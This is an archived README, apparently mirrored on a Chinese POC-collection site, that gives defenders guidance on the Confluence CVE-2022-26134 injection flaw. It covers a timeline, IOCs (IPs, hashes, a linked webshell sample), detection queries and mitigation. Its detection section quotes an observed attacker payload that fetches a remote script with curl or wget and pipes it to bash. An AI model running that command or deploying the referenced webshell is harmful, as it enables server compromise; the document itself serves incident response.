关联漏洞
标题:
Atlassian Confluence Server 注入漏洞
(CVE-2022-26134)
描述:Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能,并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。以下产品及版本受到影响:1.3.0版本至7.4.17之前版本、7.13.0版本至7.13.7之前版本、7.14.0版本至7.14.3之前版本、7.15.0版本至 7.15.2之前版本、7.16.0版本至7.16.4之
描述
This repository talks about Zero-Day Exploitation of Atlassian Confluence, it's defense and analysis point of view from a SecOps or Blue Team perspective
介绍
# Confluence-CVE-2022-26134
This repository talks about Zero-Day Exploitation of Atlassian Confluence, it's defense and analysis point of view from a SecOps or Blue Team perspective
## Index
- [About](#About)
- [Timeline](#Timeline)
- [Understanding the Exploit](#Understanding-the-Exploit)
- [List of IOCs](#List-of-IOCs)
- [Detection Strategy](#Detection-Strategy)
- [Mitigation Plans](#Mitigation-Plans)
- [References](#References)
## About
Over the Memorial Day weekend in the United States, Volexity conducted an incident response investigation involving two Internet-facing web servers belonging to one of its customers that were running Atlassian Confluence Server software. The investigation began after suspicious activity was detected on the hosts, which included JSP webshells being written to disk. Volexity immediately used Volexity Surge Collect Pro to collect system memory and key files from the Confluence Server systems for analysis. After a thorough review of the collected data, Volexity was able to determine the server compromise stemmed from an attacker launching an exploit to achieve remote code execution. Volexity was subsequently able to recreate that exploit and identify a zero-day vulnerability impacting fully up-to-date versions of Confluence Server.
Following the discovery and verification of this vulnerability, Volexity contacted Atlassian to report the relevant details on May 31, 2022. Atlassian has since confirmed the vulnerability and subsequently assigned the issue to CVE-2022-26134. It has been confirmed to work on current versions of Confluence Server and Data Center.
## Timeline
- An advisory dated June 2, 1300 PT (2000 UTC), does not describe the nature of the flaw, and reveals "current active exploitation" has been detected. No patch is available.
- Volexity [discovers](https://twitter.com/Volexity/status/1532492927813013507) a zero-day in confluence 03/06/2022 (GMT)
- On 03/06/2022 (GMT) Atlassian
- Clarifed the affected versions
- Added a WAF rule
- Added estimated timeframe for fixes to be available
- On 03/06/2022 we have seen active exploitation attempts and POCs being released all over the internet.
- On 03 Jun 2022 8 AM PDT (Pacific Time, -7 hours) Atlassian mitigation information to include replacement jar and class files
- On 03 Jun 2022 10 AM PDT (Pacific Time, -7 hours) Atlassian Updated with the fixed versions and removed interim advice about adding a WAF rule.
- On 03 Jun 2022 4 PM PDT (Pacific Time, -7 hours) Atlassian Updated to clarify limitation with rolling upgrades.
Refer the technical details [HERE](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
## Understanding-the-Exploit
- You can refer the Volexity Blog [HERE](https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/) to understand the full deatils of working principle of this explit and the details of analysis
- Watch this [VIDEO](https://youtu.be/YY1M56S6vLE) for understanding the exploit and it's remediation.
## List-of-IOCs
- Since this is a zero day vulnerability, and can be exploited very easily, there is no exclusive list of IOCs. From the community research it was observed attacker tried to deploy XMRIG, KINSING, MIRAI etc after exploitation.
- Exploit string “appears” to contain this string **${** This pattern isn’t urlencoded and isn’t URL SAFE so it would appear as: $%7B in the logs.
- The veloxity blog references the confluence file: **noop.jsp**
- A presence of a webshell as .jsp extention with no path details. For example [THIS](https://github.com/tennc/webshell/blob/master/caidao-shell/%E8%8F%9C%E5%88%80jsp%E4%BF%AE%E6%94%B9.jsp)
- Some IP addresses-
```
154.146.34.145
154.16.105.147
156.146.34.46
156.146.34.52
156.146.34.9
156.146.56.136
198.147.22.148
198.147.22.148
221.178.126.244
45.43.19.91
59.163.248.170
64.64.228.239
66.115.182.102
66.115.182.111
67.149.61.16
98.32.230.38
193.106.191.48
```
- File hashes for malicious noop.jsp
```
f39b321472b8dac2452e4c0bc687cb5aa401ac6687520fdc9fd523a17477886d
f8df4dd46f02dc86d37d46cf4793e036
```
- Widespread Atlassian Confluence CVE-2022-26134 exploitation, specifically that is **confirmed functional**, has been observed on June 4, 2022. Find the unique IPs from [HERE](https://viz.greynoise.io/query/?gnql=tags%3A%22Atlassian%20Confluence%20Server%20CVE-2022-26134%20OGNL%20Injection%20Attempt%22)
## Detection-Strategy
- If you have an internet facing Confluence Server and Data Center which is unpacthed, it is wise to interprit as **Compromised**
- Look for NEW files in the confluence path on disk which is having .jsp extention or any other.
- Look for suspicious child processes from tomcat logs
```
DeviceProcessEvents
| where InitiatingProcessFileName has_any( @"tomcat9.exe")
//| where ProcessCommandLine has_any (@"whoami.exe",@"nslookup.exe")
```
- Look for string ```${``` in ```(install directory)/logs/*.log```
- In access logs try ```egrep -a -i -f pattern.txt *.log ``` where pattern.txt should be saved as ```${``` or just try ```grep "\${" log file path``` or try ```grep "$%7B" log file path```
- You might have web request coming in for noop.js, so you can try ```findstr -i noop.jsp "logpath"```
- You may have different install directories, so try to find ```$jspname_jsp.java``` in ```confluence_install_dir/work/Standalone/``` directory. For example, if you find a shell name ```hack.jsp``` you should see ```hack_jsp.java``` If you don't find ```hack.jsp``` in no longer in disk, try to pivot in web logs to look for access to it. It will give the signifance when it was accessed/deleted.
- EQL Query ```process where event='CreateProcess' and parent_process_path='/opt/atlassian/confluence/jre/bin/java' and process_user_name='confluence'``` can help to identify as described by David [HERE](https://twitter.com/lostinsecurity/status/1533504455135711233)
- Look for this common payload ```bash -c '(curl -s 195.2.79[.]26/cf.sh||wget -q -O- 195.2.79[.]26/cf.sh)|bash``` in the web logs
- A suricata signature can be found [HERE](https://github.com/c3rb3ru5d3d53c/signatures/blob/master/signatures/attack/injection/template/template.suricata-6.0.5.rules)
- Everyone's setup may be different but Confluence largely only has these JSP files:
```
./admin/findspaceattachments.jsp
./admin/cluster/hashclustername.jsp
./admin/default.jsp
./classpath.jsp
./errors/notfound.jsp
./500page.jsp
./errors.jsp
./noop.jsp
```
so looks for files created new which are not listed above
- Check for files on disk not listed and in access logs with 200 responses. Further, check if any of these files have been modified. In particular noop.jsp is popular and it's usually around 103 bytes.
- If you have identified noop.jsp file has been alrerted with, leverage this [SCRIPT](https://github.com/offlinehoster/CVE-2022-26134/blob/main/check_filesum.sh) to identify if it is suspicious.
- You can use this [SCRIPT](https://github.com/offlinehoster/CVE-2022-26134/blob/main/check_nginx_CVE_IP.sh) to run a quick scan on your logs to see potential threat actor. **NOTE**- The list of IP should be verified before using this, also the list is not exclusive.
- Examine multiple cases to look for ```.java``` files in the ```./confluence/org/apache/jsp/``` directory that should not be there.
- Look for process tree and process execution on any host where you have identified exploit attempt. You should look for process tree like- ```java->bash->python->bash```
- A bash process, spawned by a python one, whose father was another bash one and then the java root process name. Such a kind of execution should be identified
## Mitigation-Plans
- As of first commit of this repo, Atlassian has released patched version of Confluence Server and Data Center from [HERE](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
- If you are unable to upgrade Confluence immediately, then as a temporary workaround, you can mitigate the CVE-2022-26134 issue by updating the following files as described [HERE](https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
- As an immidiate step please create a incident response plan to identify your internet exposed instances and perfom the detection. And put the server under IP whitelisting or under VPN to reduce the risk surface.
## References
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
- https://www.theregister.com/2022/06/03/atlassian_confluence_critical_flaw_attacked/
- https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
- https://www.shodan.io/search?query=x-confluence
- https://www.shodan.io/search?query=http.favicon.hash%3A-305179312
- https://www.pwndefend.com/2022/06/03/cve-2022-26134-confluence-zero-day-rce/
- https://www.cisa.gov/uscert/ncas/current-activity/2022/06/02/cisa-adds-one-known-exploited-vulnerability-cve-2022-26134-catalog
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis?referrer=notificationEmail
- https://blog.cloudflare.com/cloudflare-observations-of-confluence-zero-day-cve-2022-26134/
文件快照
[4.0K] /data/pocs/e294b6e6b2b122fa2685684c2bf15496b3b62396
├── [6.9K] LICENSE
└── [9.0K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。